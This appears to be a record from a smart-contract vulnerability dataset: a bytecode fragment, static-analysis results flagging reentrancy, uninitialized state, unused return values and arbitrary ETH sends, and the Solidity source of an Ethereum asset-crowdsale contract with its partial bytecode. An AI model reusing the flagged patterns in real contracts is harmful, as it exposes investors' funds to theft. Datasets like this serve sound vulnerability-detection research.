6572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f9bd5758b28c63b052791387283e5c177a35fedbf95d1a6820a19af833c1a84164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,944 |
0xEf71ce348F7be53073415d9Ea70450bf82Cf7b5E
|
pragma solidity ^0.4.24;
// submited by @dev-xu
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
// @title SafeMath: overflow/underflow checks
// @notice Math operations with safety checks that throw on error
library SafeMath {
// @notice Multiplies two numbers, throws on overflow.
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
// @notice Integer division of two numbers, truncating the quotient.
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
// @notice Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
// @notice Adds two numbers, throws on overflow.
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
// @notice Returns fractional amount
function getFractionalAmount(uint256 _amount, uint256 _percentage)
internal
pure
returns (uint256) {
return div(mul(_amount, _percentage), 100);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface ERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _who) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface MinterInterface {
function cloneToken(string _uri, address _erc20Address) external returns (address asset);
function mintAssetTokens(address _assetAddress, address _receiver, uint256 _amount) external returns (bool);
function changeTokenController(address _assetAddress, address _newController) external returns (bool);
}
interface CrowdsaleReserveInterface {
function issueETH(address _receiver, uint256 _amount) external returns (bool);
function receiveETH(address _payer) external payable returns (bool);
function refundETHAsset(address _asset, uint256 _amount) external returns (bool);
function issueERC20(address _receiver, uint256 _amount, address _tokenAddress) external returns (bool);
function requestERC20(address _payer, uint256 _amount, address _tokenAddress) external returns (bool);
function approveERC20(address _receiver, uint256 _amount, address _tokenAddress) external returns (bool);
function refundERC20Asset(address _asset, uint256 _amount, address _tokenAddress) external returns (bool);
}
interface Events { function transaction(string _message, address _from, address _to, uint _amount, address _token) external; }
interface DB {
function addressStorage(bytes32 _key) external view returns (address);
function uintStorage(bytes32 _key) external view returns (uint);
function setUint(bytes32 _key, uint _value) external;
function deleteUint(bytes32 _key) external;
function setBool(bytes32 _key, bool _value) external;
function boolStorage(bytes32 _key) external view returns (bool);
}
// @title An asset crowdsale contract, which accepts Ether for funding.
// @author Kyle Dewhurst & Peter Phillips, MyBit Foundation
// @notice Starts a new crowdsale and returns asset dividend tokens for Wei received.
// @dev The AssetManager
contract CrowdsaleETH {
using SafeMath for uint256;
DB private database;
Events private events;
MinterInterface private minter;
CrowdsaleReserveInterface private reserve;
// @notice Constructor: Initiates the database
// @param: The address for the database contract
constructor(address _database, address _events)
public {
database = DB(_database);
events = Events(_events);
minter = MinterInterface(database.addressStorage(keccak256(abi.encodePacked("contract", "Minter"))));
reserve = CrowdsaleReserveInterface(database.addressStorage(keccak256(abi.encodePacked("contract", "CrowdsaleReserve"))));
}
// @notice Investors can send Ether here to fund asset, receiving an equivalent number of asset-tokens.
// @param (bytes32) _assetAddress = The address of the asset which completed the crowdsale
function buyAssetOrderETH(address _assetAddress)
external
payable
requiresEther
validAsset(_assetAddress)
beforeDeadline(_assetAddress)
notFinalized(_assetAddress)
returns (bool) {
uint fundingRemaining = database.uintStorage(keccak256(abi.encodePacked("crowdsale.remaining", _assetAddress)));
uint amount; //The number of tokens that will be minted
if (msg.value < fundingRemaining) {
amount = msg.value.mul(100).div(uint(100).add(database.uintStorage(keccak256(abi.encodePacked("platform.fee")))));
database.setUint(keccak256(abi.encodePacked("crowdsale.remaining", _assetAddress)), fundingRemaining.sub(msg.value));
//Mint tokens equal to the msg.value
require(minter.mintAssetTokens(_assetAddress, msg.sender, amount), "Investor minting failed");
reserve.receiveETH.value(msg.value)(msg.sender);
} else {
amount = fundingRemaining.mul(100).div(uint(100).add(database.uintStorage(keccak256(abi.encodePacked("platform.fee")))));
//Funding complete, finalize crowdsale
database.setBool(keccak256(abi.encodePacked("crowdsale.finalized", _assetAddress)), true);
database.deleteUint(keccak256(abi.encodePacked("crowdsale.remaining", _assetAddress)));
//Since investor paid equal to or over the funding remaining, just mint for tokensRemaining
require(minter.mintAssetTokens(_assetAddress, msg.sender, amount), "Investor minting failed");
reserve.receiveETH.value(fundingRemaining)(msg.sender);
//Return leftover WEI after cost of tokens calculated and subtracted from msg.value to msg.sender
msg.sender.transfer(msg.value.sub(fundingRemaining));
}
events.transaction('Asset purchased', address(this), msg.sender, amount, _assetAddress);
return true;
}
// @notice This is called once funding has succeeded. Sends Ether to a distribution contract where receiver & assetManager can withdraw
// @dev The contract manager needs to know the address PlatformDistribution contract
// @param (bytes32) _assetAddress = The address of the asset which completed the crowdsale
function payoutETH(address _assetAddress)
external
whenNotPaused
finalized(_assetAddress)
notPaid(_assetAddress)
returns (bool) {
//Set paid to true
database.setBool(keccak256(abi.encodePacked("crowdsale.paid", _assetAddress)), true);
//Setup token
//Mint tokens for the asset manager and platform + finish minting
address platformAssetsWallet = database.addressStorage(keccak256(abi.encodePacked("platform.wallet.assets")));
require(platformAssetsWallet != address(0), "Platform assets wallet not set");
require(minter.mintAssetTokens(_assetAddress, database.addressStorage(keccak256(abi.encodePacked("contract", "AssetManagerFunds"))), database.uintStorage(keccak256(abi.encodePacked("asset.managerTokens", _assetAddress)))), "Manager minting failed");
require(minter.mintAssetTokens(_assetAddress, platformAssetsWallet, database.uintStorage(keccak256(abi.encodePacked("asset.platformTokens", _assetAddress)))), "Platform minting failed");
//Get the addresses for the receiver and platform
address receiver = database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress)));
address platformFundsWallet = database.addressStorage(keccak256(abi.encodePacked("platform.wallet.funds")));
require(receiver != address(0) && platformFundsWallet != address(0), "Receiver or platform wallet not set");
//Calculate amounts for platform and receiver
uint amount = database.uintStorage(keccak256(abi.encodePacked("crowdsale.goal", _assetAddress)));
uint platformFee = amount.getFractionalAmount(database.uintStorage(keccak256(abi.encodePacked("platform.fee"))));
//Transfer funds to receiver and platform
require(reserve.issueETH(platformFundsWallet, platformFee), 'Platform funds not paid');
require(reserve.issueETH(receiver, amount), 'Asset manager funds not paid');
//Delete crowdsale start time
database.deleteUint(keccak256(abi.encodePacked("crowdsale.start", _assetAddress)));
//Increase asset count for manager
address manager = database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress)));
database.setUint(keccak256(abi.encodePacked("manager.assets", manager)), database.uintStorage(keccak256(abi.encodePacked("manager.assets", manager))).add(1));
//Emit event
events.transaction('Asset payout', _assetAddress, receiver, amount, address(0));
return true;
}
function cancel(address _assetAddress)
external
whenNotPaused
validAsset(_assetAddress)
beforeDeadline(_assetAddress)
notFinalized(_assetAddress)
returns (bool){
require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress))));
database.setUint(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress)), 1);
refund(_assetAddress);
}
// @notice Contributors can retrieve their funds here if crowdsale has paased deadline and not reached its goal
// @param (bytes32) _assetAddress = The address of the asset which completed the crowdsale
function refund(address _assetAddress)
public
whenNotPaused
validAsset(_assetAddress)
afterDeadline(_assetAddress)
notFinalized(_assetAddress)
returns (bool) {
require(database.uintStorage(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress))) != 0);
database.deleteUint(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress)));
ERC20 assetToken = ERC20(_assetAddress);
uint refundValue = assetToken.totalSupply().mul(uint(100).add(database.uintStorage(keccak256(abi.encodePacked("platform.fee"))))).div(100); //total supply plus platform fees
reserve.refundETHAsset(_assetAddress, refundValue);
return true;
}
// @notice platform owners can recover tokens here
function recoverTokens(address _erc20Token)
onlyOwner
external {
ERC20 thisToken = ERC20(_erc20Token);
uint contractBalance = thisToken.balanceOf(address(this));
thisToken.transfer(msg.sender, contractBalance);
}
// @notice platform owners can destroy contract here
function destroy()
onlyOwner
external {
events.transaction('CrowdsaleETH destroyed', address(this), msg.sender, address(this).balance, address(0));
selfdestruct(msg.sender);
}
//------------------------------------------------------------------------------------------------------------------
// Modifiers
//------------------------------------------------------------------------------------------------------------------
// @notice Requires that Ether is sent with the transaction
modifier requiresEther() {
require(msg.value > 0);
_;
}
// @notice Sender must be a registered owner
modifier onlyOwner {
require(database.boolStorage(keccak256(abi.encodePacked("owner", msg.sender))), "Not owner");
_;
}
// @notice function won't run if owners have paused this contract
modifier whenNotPaused {
require(!database.boolStorage(keccak256(abi.encodePacked("paused", address(this)))), "Contract paused");
_;
}
// @notice reverts if the asset does not have a token address set in the database
modifier validAsset(address _assetAddress) {
require(database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress))) != address(0), "Invalid asset");
_;
}
// @notice reverts if the funding deadline has not passed
modifier beforeDeadline(address _assetAddress) {
require(now < database.uintStorage(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress))), "Before deadline");
_;
}
// @notice reverts if the funding deadline has already past or crowsale has not started
modifier betweenDeadlines(address _assetAddress) {
require(now <= database.uintStorage(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress))), "Past deadline");
require(now >= database.uintStorage(keccak256(abi.encodePacked("crowdsale.start", _assetAddress))), "Before start time");
_;
}
// @notice reverts if the funding deadline has already past
modifier afterDeadline(address _assetAddress) {
require(now > database.uintStorage(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress))), "Before deadline");
_;
}
// @notice returns true if crowdsale is finshed
modifier finalized(address _assetAddress) {
require( database.boolStorage(keccak256(abi.encodePacked("crowdsale.finalized", _assetAddress))), "Crowdsale not finalized");
_;
}
// @notice returns true if crowdsale is not finshed
modifier notFinalized(address _assetAddress) {
require( !database.boolStorage(keccak256(abi.encodePacked("crowdsale.finalized", _assetAddress))), "Crowdsale finalized");
_;
}
// @notice returns true if crowdsale has not paid out
modifier notPaid(address _assetAddress) {
require( !database.boolStorage(keccak256(abi.encodePacked("crowdsale.paid", _assetAddress))), "Crowdsale had paid out");
_;
}
}
|
0x60806040526004361061005e5763ffffffff60e060020a60003504166316114acd81146100635780634c33fe941461008657806383197ef0146100bb578063c30f1be8146100d0578063dd00da7c146100e4578063fa89401a14610105575b600080fd5b34801561006f57600080fd5b50610084600160a060020a0360043516610126565b005b34801561009257600080fd5b506100a7600160a060020a03600435166103c6565b604080519115158252519081900360200190f35b3480156100c757600080fd5b50610084610ba1565b6100a7600160a060020a0360043516610ddb565b3480156100f057600080fd5b506100a7600160a060020a0360043516611c76565b34801561011157600080fd5b506100a7600160a060020a036004351661353f565b60008054604080517f6f776e6572000000000000000000000000000000000000000000000000000000602080830191909152606060020a330260258301528251601981840301815260399092019283905281518594600160a060020a031693633b7bfda09392909182918401908083835b602083106101b65780518252601f199092019160209182019101610197565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561021757600080fd5b505af115801561022b573d6000803e3d6000fd5b505050506040513d602081101561024157600080fd5b50511515610299576040805160e560020a62461bcd02815260206004820152600960248201527f4e6f74206f776e65720000000000000000000000000000000000000000000000604482015290519081900360640190fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051849350600160a060020a038416916370a082319160248083019260209291908290030181600087803b1580156102fd57600080fd5b505af1158015610311573d6000803e3d6000fd5b505050506040513d602081101561032757600080fd5b5051604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018390529051919250600160a060020a0384169163a9059cbb916044808201926020929091908290030181600087803b15801561039557600080fd5b505af11580156103a9573d6000803e3d6000fd5b505050506040513d60208110156103bf57600080fd5b5050505050565b60008054604080517f7061757365640000000000000000000000000000000000000000000000000000602080830191909152606060020a300260268301528251601a818403018152603a909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b602083106104555780518252601f199092019160209182019101610436565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156104b657600080fd5b505af11580156104ca573d6000803e3d6000fd5b505050506040513d60208110156104e057600080fd5b505115610537576040805160e560020a62461bcd02815260206004820152600f60248201527f436f6e7472616374207061757365640000000000000000000000000000000000604482015290519081900360640190fd5b6000805460408051600080516020613f53833981519152602080830191909152600160a060020a03878116606060020a02602d84015283518084036021018152604190930193849052825188969591909116936304f49a3a9392909182918401908083835b602083106105bb5780518252601f19909201916020918201910161059c565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561061c57600080fd5b505af1158015610630573d6000803e3d6000fd5b505050506040513d602081101561064657600080fd5b5051600160a060020a031614156106a7576040805160e560020a62461bcd02815260206004820152600d60248201527f496e76616c696420617373657400000000000000000000000000000000000000604482015290519081900360640190fd5b60005460408051600080516020613f93833981519152602080830191909152600160a060020a03878116606060020a0260328401528351808403602601815260469093019384905282518895919091169363a855d4ce9392909182918401908083835b602083106107295780518252601f19909201916020918201910161070a565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561078a57600080fd5b505af115801561079e573d6000803e3d6000fd5b505050506040513d60208110156107b457600080fd5b5051421061080c576040805160e560020a62461bcd02815260206004820152600f60248201527f4265666f726520646561646c696e650000000000000000000000000000000000604482015290519081900360640190fd5b60005460408051600080516020613f33833981519152602080830191909152600160a060020a03888116606060020a02603384015283518084036027018152604790930193849052825189959190911693633b7bfda09392909182918401908083835b6020831061088e5780518252601f19909201916020918201910161086f565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156108ef57600080fd5b505af1158015610903573d6000803e3d6000fd5b505050506040513d602081101561091957600080fd5b505115610970576040805160e560020a62461bcd02815260206004820152601360248201527f43726f776473616c652066696e616c697a656400000000000000000000000000604482015290519081900360640190fd5b60005460408051600080516020613f53833981519152602080830191909152600160a060020a03898116606060020a02602d8401528351808403602101815260419093019384905282519416936304f49a3a93918291908401908083835b602083106109ed5780518252601f1990920191602091820191016109ce565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015610a4e57600080fd5b505af1158015610a62573d6000803e3d6000fd5b505050506040513d6020811015610a7857600080fd5b5051600160a060020a03163314610a8e57600080fd5b60005460408051600080516020613f93833981519152602080830191909152600160a060020a03898116606060020a02603284015283518084036026018152604690930193849052825194169363e2a4853a93918291908401908083835b60208310610b0b5780518252601f199092019160209182019101610aec565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a028252600482015260016024820152915160448084019550600094509092839003019050818387803b158015610b7757600080fd5b505af1158015610b8b573d6000803e3d6000fd5b50505050610b988561353f565b50505050919050565b600054604080517f6f776e6572000000000000000000000000000000000000000000000000000000602080830191909152606060020a33026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b60208310610c2f5780518252601f199092019160209182019101610c10565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015610c9057600080fd5b505af1158015610ca4573d6000803e3d6000fd5b505050506040513d6020811015610cba57600080fd5b50511515610d12576040805160e560020a62461bcd02815260206004820152600960248201527f4e6f74206f776e65720000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600154604080517f42b425aa000000000000000000000000000000000000000000000000000000008152306024820181905233604483015231606482015260006084820181905260a06004830152601660a48301527f43726f776473616c654554482064657374726f7965640000000000000000000060c48301529151600160a060020a03909316926342b425aa9260e48084019391929182900301818387803b158015610dbf57600080fd5b505af1158015610dd3573d6000803e3d6000fd5b503392505050ff5b60008080348110610deb57600080fd5b6000805460408051600080516020613f53833981519152602080830191909152600160a060020a03898116606060020a02602d8401528351808403602101815260419093019384905282518a969591909116936304f49a3a9392909182918401908083835b60208310610e6f5780518252601f199092019160209182019101610e50565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015610ed057600080fd5b505af1158015610ee4573d6000803e3d6000fd5b505050506040513d6020811015610efa57600080fd5b5051600160a060020a03161415610f5b576040805160e560020a62461bcd02815260206004820152600d60248201527f496e76616c696420617373657400000000000000000000000000000000000000604482015290519081900360640190fd5b60005460408051600080516020613f93833981519152602080830191909152600160a060020a03898116606060020a0260328401528351808403602601815260469093019384905282518a95919091169363a855d4ce9392909182918401908083835b60208310610fdd5780518252601f199092019160209182019101610fbe565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561103e57600080fd5b505af1158015611052573d6000803e3d6000fd5b505050506040513d602081101561106857600080fd5b505142106110c0576040805160e560020a62461bcd02815260206004820152600f60248201527f4265666f726520646561646c696e650000000000000000000000000000000000604482015290519081900360640190fd5b60005460408051600080516020613f33833981519152602080830191909152600160a060020a038a8116606060020a0260338401528351808403602701815260479093019384905282518b959190911693633b7bfda09392909182918401908083835b602083106111425780518252601f199092019160209182019101611123565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156111a357600080fd5b505af11580156111b7573d6000803e3d6000fd5b505050506040513d60208110156111cd57600080fd5b505115611224576040805160e560020a62461bcd02815260206004820152601360248201527f43726f776473616c652066696e616c697a656400000000000000000000000000604482015290519081900360640190fd5b600054604080517f63726f776473616c652e72656d61696e696e6700000000000000000000000000602080830191909152600160a060020a038b8116606060020a02603384015283518084036027018152604790930193849052825194169363a855d4ce93918291908401908083835b602083106112b35780518252601f199092019160209182019101611294565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561131457600080fd5b505af1158015611328573d6000803e3d6000fd5b505050506040513d602081101561133e57600080fd5b505194503485111561173f5760005460408051600080516020613f738339815191526020808301919091528251808303600c018152602c90920192839052815161147a9461145d94600160a060020a039091169363a855d4ce93909282918401908083835b602083106113c25780518252601f1990920191602091820191016113a3565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561142357600080fd5b505af1158015611437573d6000803e3d6000fd5b505050506040513d602081101561144d57600080fd5b505160649063ffffffff613ea916565b61146e34606463ffffffff613ec316565b9063ffffffff613eee16565b600054604080517f63726f776473616c652e72656d61696e696e6700000000000000000000000000602080830191909152600160a060020a038c8116606060020a0260338401528351808403602701815260479093019384905282519599509093169363e2a4853a939192918291908401908083835b6020831061150f5780518252601f1990920191602091820191016114f0565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902061154f3489613f0390919063ffffffff16565b6040518363ffffffff1660e060020a02815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b15801561159757600080fd5b505af11580156115ab573d6000803e3d6000fd5b5050600254604080517fd5895a3c000000000000000000000000000000000000000000000000000000008152600160a060020a038c81166004830152336024830152604482018a9052915191909216935063d5895a3c925060648083019260209291908290030181600087803b15801561162457600080fd5b505af1158015611638573d6000803e3d6000fd5b505050506040513d602081101561164e57600080fd5b505115156116a6576040805160e560020a62461bcd02815260206004820152601760248201527f496e766573746f72206d696e74696e67206661696c6564000000000000000000604482015290519081900360640190fd5b600354604080517f8c53f61d0000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a0390921691638c53f61d913491602480830192602092919082900301818588803b15801561170c57600080fd5b505af1158015611720573d6000803e3d6000fd5b50505050506040513d602081101561173757600080fd5b50611ba39050565b60005460408051600080516020613f738339815191526020808301919091528251808303600c018152602c9092019283905281516117c7946117b694600160a060020a039091169363a855d4ce9390928291840190808383602083106113c25780518252601f1990920191602091820191016113a3565b61146e87606463ffffffff613ec316565b60005460408051600080516020613f33833981519152602080830191909152600160a060020a038c8116606060020a0260338401528351808403602701815260479093019384905282519599509093169363abfdcced939192918291908401908083835b6020831061184a5780518252601f19909201916020918201910161182b565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a028252600482015260016024820152915160448084019550600094509092839003019050818387803b1580156118b657600080fd5b505af11580156118ca573d6000803e3d6000fd5b5050600054604080517f63726f776473616c652e72656d61696e696e6700000000000000000000000000602080830191909152600160a060020a038d8116606060020a0260338401528351808403602701815260479093019384905282519416955063e2b202bf9450909282918401908083835b6020831061195d5780518252601f19909201916020918201910161193e565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a0282526004820152915160248084019550600094509092839003019050818387803b1580156119c257600080fd5b505af11580156119d6573d6000803e3d6000fd5b5050600254604080517fd5895a3c000000000000000000000000000000000000000000000000000000008152600160a060020a038c81166004830152336024830152604482018a9052915191909216935063d5895a3c925060648083019260209291908290030181600087803b158015611a4f57600080fd5b505af1158015611a63573d6000803e3d6000fd5b505050506040513d6020811015611a7957600080fd5b50511515611ad1576040805160e560020a62461bcd02815260206004820152601760248201527f496e766573746f72206d696e74696e67206661696c6564000000000000000000604482015290519081900360640190fd5b600354604080517f8c53f61d0000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a0390921691638c53f61d918891602480830192602092919082900301818588803b158015611b3757600080fd5b505af1158015611b4b573d6000803e3d6000fd5b50505050506040513d6020811015611b6257600080fd5b503390506108fc611b79348863ffffffff613f0316565b6040518115909202916000818181858888f19350505050158015611ba1573d6000803e3d6000fd5b505b600154604080517f42b425aa00000000000000000000000000000000000000000000000000000000815230602482015233604482015260648101879052600160a060020a038a8116608483015260a06004830152600f60a48301527f417373657420707572636861736564000000000000000000000000000000000060c4830152915191909216916342b425aa9160e480830192600092919082900301818387803b158015611c5157600080fd5b505af1158015611c65573d6000803e3d6000fd5b5060019a9950505050505050505050565b60008054604080517f7061757365640000000000000000000000000000000000000000000000000000602080830191909152606060020a300260268301528251601a818403018152603a909201928390528151859485948594859485948594600160a060020a031693633b7bfda09392909182918401908083835b60208310611d105780518252601f199092019160209182019101611cf1565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015611d7157600080fd5b505af1158015611d85573d6000803e3d6000fd5b505050506040513d6020811015611d9b57600080fd5b505115611df2576040805160e560020a62461bcd02815260206004820152600f60248201527f436f6e7472616374207061757365640000000000000000000000000000000000604482015290519081900360640190fd5b60005460408051600080516020613f33833981519152602080830191909152600160a060020a038c8116606060020a0260338401528351808403602701815260479093019384905282518d959190911693633b7bfda09392909182918401908083835b60208310611e745780518252601f199092019160209182019101611e55565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015611ed557600080fd5b505af1158015611ee9573d6000803e3d6000fd5b505050506040513d6020811015611eff57600080fd5b50511515611f57576040805160e560020a62461bcd02815260206004820152601760248201527f43726f776473616c65206e6f742066696e616c697a6564000000000000000000604482015290519081900360640190fd5b600054604080517f63726f776473616c652e70616964000000000000000000000000000000000000602080830191909152600160a060020a038d8116606060020a02602e8401528351808403602201815260429093019384905282518e959190911693633b7bfda09392909182918401908083835b60208310611feb5780518252601f199092019160209182019101611fcc565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561204c57600080fd5b505af1158015612060573d6000803e3d6000fd5b505050506040513d602081101561207657600080fd5b5051156120cd576040805160e560020a62461bcd02815260206004820152601660248201527f43726f776473616c65206861642070616964206f757400000000000000000000604482015290519081900360640190fd5b600054604080517f63726f776473616c652e70616964000000000000000000000000000000000000602080830191909152600160a060020a038e8116606060020a02602e84015283518084036022018152604290930193849052825194169363abfdcced93918291908401908083835b6020831061215c5780518252601f19909201916020918201910161213d565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a028252600482015260016024820152915160448084019550600094509092839003019050818387803b1580156121c857600080fd5b505af11580156121dc573d6000803e3d6000fd5b5050600054604080517f706c6174666f726d2e77616c6c65742e61737365747300000000000000000000602080830191909152825180830360160181526036909201928390528151600160a060020a0390941695506304f49a3a9450909282918401908083835b602083106122625780518252601f199092019160209182019101612243565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156122c357600080fd5b505af11580156122d7573d6000803e3d6000fd5b505050506040513d60208110156122ed57600080fd5b50519750600160a060020a0388161515612351576040805160e560020a62461bcd02815260206004820152601e60248201527f506c6174666f726d206173736574732077616c6c6574206e6f74207365740000604482015290519081900360640190fd5b600260009054906101000a9004600160a060020a0316600160a060020a031663d5895a3c8b6000809054906101000a9004600160a060020a0316600160a060020a03166304f49a3a60405160200180807f636f6e7472616374000000000000000000000000000000000000000000000000815250600801807f41737365744d616e6167657246756e647300000000000000000000000000000081525060110190506040516020818303038152906040526040518082805190602001908083835b602083106124305780518252601f199092019160209182019101612411565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561249157600080fd5b505af11580156124a5573d6000803e3d6000fd5b505050506040513d60208110156124bb57600080fd5b81019080805190602001909291905050506000809054906101000a9004600160a060020a0316600160a060020a031663a855d4ce8f60405160200180807f61737365742e6d616e61676572546f6b656e730000000000000000000000000081525060130182600160a060020a0316600160a060020a0316606060020a0281526014019150506040516020818303038152906040526040518082805190602001908083835b6020831061257e5780518252601f19909201916020918201910161255f565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156125df57600080fd5b505af11580156125f3573d6000803e3d6000fd5b505050506040513d602081101561260957600080fd5b50516040805160e060020a63ffffffff8716028152600160a060020a0394851660048201529290931660248301526044820152905160648083019260209291908290030181600087803b15801561265f57600080fd5b505af1158015612673573d6000803e3d6000fd5b505050506040513d602081101561268957600080fd5b505115156126e1576040805160e560020a62461bcd02815260206004820152601660248201527f4d616e61676572206d696e74696e67206661696c656400000000000000000000604482015290519081900360640190fd5b600260009054906101000a9004600160a060020a0316600160a060020a031663d5895a3c8b8a6000809054906101000a9004600160a060020a0316600160a060020a031663a855d4ce8f60405160200180807f61737365742e706c6174666f726d546f6b656e7300000000000000000000000081525060140182600160a060020a0316600160a060020a0316606060020a0281526014019150506040516020818303038152906040526040518082805190602001908083835b602083106127b95780518252601f19909201916020918201910161279a565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561281a57600080fd5b505af115801561282e573d6000803e3d6000fd5b505050506040513d602081101561284457600080fd5b50516040805160e060020a63ffffffff8716028152600160a060020a0394851660048201529290931660248301526044820152905160648083019260209291908290030181600087803b15801561289a57600080fd5b505af11580156128ae573d6000803e3d6000fd5b505050506040513d60208110156128c457600080fd5b5051151561291c576040805160e560020a62461bcd02815260206004820152601760248201527f506c6174666f726d206d696e74696e67206661696c6564000000000000000000604482015290519081900360640190fd5b60005460408051600080516020613f53833981519152602080830191909152600160a060020a038e8116606060020a02602d8401528351808403602101815260419093019384905282519416936304f49a3a93918291908401908083835b602083106129995780518252601f19909201916020918201910161297a565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156129fa57600080fd5b505af1158015612a0e573d6000803e3d6000fd5b505050506040513d6020811015612a2457600080fd5b5051600054604080517f706c6174666f726d2e77616c6c65742e66756e64730000000000000000000000602082810191909152825180830360150181526035909201928390528151949b50600160a060020a03909316936304f49a3a939192918291908401908083835b60208310612aad5780518252601f199092019160209182019101612a8e565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a02835260048301529251602480830196509394509